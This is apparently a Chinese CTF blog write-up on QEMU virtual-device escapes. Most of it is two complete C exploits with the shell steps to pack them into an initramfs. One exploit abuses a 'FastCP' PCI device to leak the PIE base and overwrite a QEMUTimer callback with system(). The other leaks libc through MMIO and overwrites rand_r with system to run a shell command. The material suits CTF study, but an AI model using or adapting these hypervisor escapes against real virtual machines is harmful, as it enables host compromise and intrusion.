lspci
ls /sys/devices/pci0000\:00/0000\:00\:04.0/
-monitor telnet:127.0.0.1:4444,server,nowait 后 nc 127.0.0.1 4444可以info pci看的更清楚,这个技巧仅限于qemu,发现内核不好使
mkdir exp
cp ./initramfs-busybox-x64.cpio.gz ./exp/
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz
cpio -idmv < ./initramfs-busybox-x64.cpio
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..
这里的函数执行竟然是通过存储的timer结构体,因此如果可以控制timer结构体意味着就可以任意函数执行
发现resource0,那就是MMIO了
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
char* userbuf;
uint64_t phy_userbuf, phy_userbuf2;
unsigned char* mmio_mem;
struct FastCP_CP_INFO
{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
};
struct QEMUTimer
{
int64_t expire_time;
int64_t timer_list;
int64_t cb;
void* opaque;
int64_t next;
int attributes;
int scale;
char shell[0x50];
};
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void* addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0)
{
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
//用户虚拟地址gva到用户物理地址gpa
//先根据用户虚拟地址gva算出,用户所在页号gfn,再根据gfn和offset算出用户物理地址gpa(将gfn和offset位拼起来)
uint64_t gva_to_gpa(void* addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
//一开始mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
//mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_mem + addr)) = value;
}
//这个read感觉完全没用,不用都行
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void fastcp_set_list_src(uint64_t list_addr)
{
mmio_write(0x8, list_addr);
}
void fastcp_set_cnt(uint64_t cnt)
{
mmio_write(0x10, cnt);
}
void fastcp_do_cmd(uint64_t cmd)
{
mmio_write(0x18, cmd);
}
//这个fastcp_do_readfrombuffer和fastcp_mmio_read完全不一样
//把buffer的数据复制到dst
void fastcp_do_readfrombuffer(uint64_t addr, uint64_t len)
{
//以下三个是往cp_info里面写入值
struct FastCP_CP_INFO info;
info.CP_cnt = len;
info.CP_src = NULL;
info.CP_dst = addr;
memcpy(userbuf, &info, sizeof(info));
//以下三个是往opaque->cp_state写入值
fastcp_set_cnt(1);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(4);
sleep(1);
}
//把src的数据复制到buffer
void fastcp_do_writetobuffer(uint64_t addr, uint64_t len)
{
struct FastCP_CP_INFO info;
info.CP_cnt = len;
info.CP_src = addr;
info.CP_dst = NULL;
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(1);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(2);
sleep(1);
}
void fastcp_do_movebuffer(uint64_t srcaddr, uint64_t dstaddr, uint64_t len)
{
struct FastCP_CP_INFO info[0x11];
for (int i = 0; i < 0x11; i++)
{
info[i].CP_cnt = len;
info[i].CP_src = srcaddr;
info[i].CP_dst = dstaddr;
}
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(0x11);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(1);
sleep(1);
}
//在qemu_main_loop中会不断执行各个函数,包括fastcp_mmio_write这个函数
int main(int argc, char* argv[])
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
//把刚才打开的resource0文件内容映射到一个地方
mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem: %p\n", mmio_mem);
/*
MAP_ANONYMOUS 是 mmap() 函数的一个标志,用于创建匿名映射,即在进程的地址空间中映射一段未与任何文件关联的内存区域
因此有了-1这个参数
*/
userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap userbuf failed");
/*
mlock() 是一个系统调用,用于锁定指定内存区域,防止其被交换到磁盘上。
这可以确保这些内存区域的内容始终驻留在物理内存中,而不会因为系统内存不足而被交换出去。
*/
mlock(userbuf, 0x10000);
phy_userbuf = gva_to_gpa(userbuf);
printf("user buff virtual address: %p\n", userbuf);
printf("user buff physical address: %p\n", (void*)phy_userbuf);
fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
fastcp_do_readfrombuffer(phy_userbuf, 0x30);
//泄露pie,得到system函数的地址
uint64_t leak_timer = *(uint64_t*)(&userbuf[0x10]);
printf("leaking timer: %p\n", (void*)leak_timer);
fastcp_set_cnt(1);
uint64_t pie_base = leak_timer - 0x4dce80;
printf("pie_base: %p\n", (void*)pie_base);
uint64_t system_plt = pie_base + 0x2C2180;
printf("system_plt: %p\n", (void*)system_plt);
//堆上的某个地址
uint64_t struct_head = *(uint64_t*)(&userbuf[0x18]);
struct QEMUTimer timer;
memset(&timer, 0, sizeof(timer));
timer.expire_time = 0xffffffffffffffff;
timer.timer_list = *(uint64_t*)(&userbuf[0x8]);
timer.cb = system_plt;
timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30; //这里应该是在qemu这个进程中timer.shell
printf("struct_head: %p\n",struct_head);
strcpy(&timer.shell, "echo flag{a_test_flag}");
//变量仅仅在栈上或堆上是不行的,得到mmio里面去才能被qemu用
memcpy(userbuf + 0x1000, &timer, sizeof(timer));
//把src复制到buffer,再把buffer复制到dst
//把src复制到buffer时就把整个结构体中的timer结构体给覆盖为我们自己修改后的结构体
fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, gva_to_gpa(userbuf + 0x1000) - 0x1000, 0x1000 + sizeof(timer));
fastcp_do_cmd(1);
return 0;
}
mkdir exp
cp ./initramfs-busybox-x64.cpio.gz ./exp/
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz
cpio -idmv < ./initramfs-busybox-x64.cpio
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/io.h>
char *mmio_mem;
size_t mmio_read(size_t addr)
{
size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
return *(mmio);
}
void mmio_write(size_t addr, size_t val)
{
size_t *mmio = (size_t *)((size_t)mmio_mem + addr);
*(mmio) = val;
}
#define IO_PORT 0xc000
size_t pmio_read(size_t addr)
{
size_t pmio = IO_PORT + addr;
return inl(pmio);
}
void pmio_write(size_t addr, size_t val)
{
size_t pmio = IO_PORT + addr;
outl(val, pmio);
}
int main()
{
int mmio_fd;
size_t libc_addr = 0, system_addr;
// Open and map I/O memory for the string device
mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
if(iopl(3) == -1) /* Apply to system for accessing the port */
{
perror("iopl");
exit(EXIT_FAILURE);
}
mmio_write(128, 0x100);
libc_addr = mmio_read(4);
libc_addr = libc_addr - 0x460a0; // srandom offset
printf("libc_addr: %#lx\n", libc_addr);
system_addr = libc_addr + 0x50d70;
//让magic的值为666
pmio_write(0, 666);
pmio_read(0);
//覆盖rand_r为system,任意函数执行
pmio_write(20, system_addr);
mmio_write(64, 0x6873);
return 0;
}
mkdir exp
cp ./bin/rootfs.img ./exp/
cd exp
cpio -idmv < ./rootfs.img
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static
find . | cpio -o --format=newc > rootfs.img
cp rootfs.img /home/zp9080/attachment/bin
13 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!